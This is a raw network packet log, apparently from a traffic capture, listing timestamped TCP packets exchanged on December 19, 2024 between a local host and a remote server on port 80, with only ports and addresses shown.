Dec 19, 2024 08:09:34.649616003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.649662018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.649701118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.649723053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.650445938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.650635958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.650867939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.651290894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.651355982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.651400089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.652117968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.652200937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.652679920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.652930975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.653080940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.653112888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.653774023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.653847933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.653882027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.654582977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.654695988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.654800892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.655405998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.655548096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.655697107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.656238079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.656378984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.656395912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.790152073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.790407896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.790450096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.790501118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.790538073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.790574074 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.791296005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.791388988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.792135000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.792165995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.792224884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.792902946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.792984009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.793268919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.793394089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.793807983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.793850899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.793977976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.794620037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.794847012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.794881105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.795433044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.795622110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.795643091 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.796282053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.796369076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.796384096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.797102928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.797174931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.797213078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.797887087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.799165010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.862323046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.862380981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.862581968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.862617016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.862689972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.863132000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.863423109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.863473892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.864285946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.864316940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.864372015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.864692926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.865092039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.865247011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.865513086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.865935087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.866055965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.866183996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.866791964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.866884947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.867013931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.867605925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.867799997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.867896080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.868429899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.868519068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.868781090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.869285107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.869398117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.870121956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.870188951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.870372057 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.870920897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.871057987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.871181965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.871733904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.871915102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.872389078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.872586012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.872665882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.873382092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.873446941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.873493910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.873903990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.874274015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.874365091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.874440908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.875051022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.875346899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.875911951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.875926971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.876024961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.876735926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.876810074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.876842976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.877301931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.877556086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.877692938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.877929926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.878355980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.878468990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.878679991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.879240036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.879362106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.879498005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.880034924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.880183935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.880291939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.880887985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.880997896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.881695986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.881728888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.881783962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.881899118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.882535934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.882673025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.883128881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.883347034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.883486986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.883774996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.884206057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.884356976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.884666920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.885025978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.885135889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.885298014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.885845900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.886040926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.886130095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.886667967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.886769056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.886926889 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.887491941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.887703896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.887867928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.888397932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.888514996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.888578892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.889206886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.889307976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.889422894 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.890010118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.890167952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.890232086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.890820980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.890969992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.891058922 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.891680956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.891776085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.891917944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.892512083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.892585993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.893354893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.893403053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.893419981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.893516064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.894157887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.894265890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.894479036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.987056971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.106837988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.106911898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.107206106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.107229948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.107320070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.107394934 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.108059883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.108156919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.108926058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.108967066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.109024048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.109558105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.109739065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.109848976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.110551119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.110626936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.110686064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.111087084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.111367941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.111479998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.111597061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.112215996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.112324953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.112389088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.113058090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.113133907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.113255024 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.113972902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.114032030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.114263058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.114686966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.114805937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.115073919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.115530968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.115636110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.115828037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.116388083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.116466999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.116533995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.117227077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.117321014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.117388010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.118041992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.118208885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.118392944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.118849039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.118952036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.119713068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.119792938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.119832039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.120047092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.120500088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.120606899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.121006966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.121375084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.121495962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.121686935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.122168064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.122292042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.122862101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.123038054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.123199940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.123265028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.123893023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.124017954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.124102116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.124696970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.124933004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.125338078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.125518084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.125646114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.125943899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.126336098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.126637936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.127115011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.127161980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.127248049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.127383947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.127985954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.128113031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.128242970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.128839016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.128954887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.129220963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.129642963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.129800081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.129905939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.130462885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.130534887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.130639076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.142921925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.143024921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.143179893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.143316984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.143429041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.143543005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.143960953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.144052982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.144149065 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.144792080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.144905090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.145637989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.145819902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.145853996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.146445990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.146541119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.146758080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.147250891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.147377968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.147459030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.148117065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.148205042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.148705006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.148920059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.149034023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.149749994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.149785995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.149857998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.150588989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.150702000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.150734901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.151083946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.151410103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.151515007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.151707888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.152249098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.152353048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.152966022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.153062105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.153187990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.153755903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.153902054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.154020071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.154779911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.154846907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.154881954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.155601025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.155668020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.155699968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.155965090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.156398058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.156492949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.156565905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.157215118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.157321930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.157710075 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.158057928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.158169985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.158334970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.158888102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.159007072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.159328938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.159727097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.159830093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.160361052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.160557032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.160692930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.160850048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.161410093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.161484003 CET	80	49862	194.87.47.113	192.168.2.6
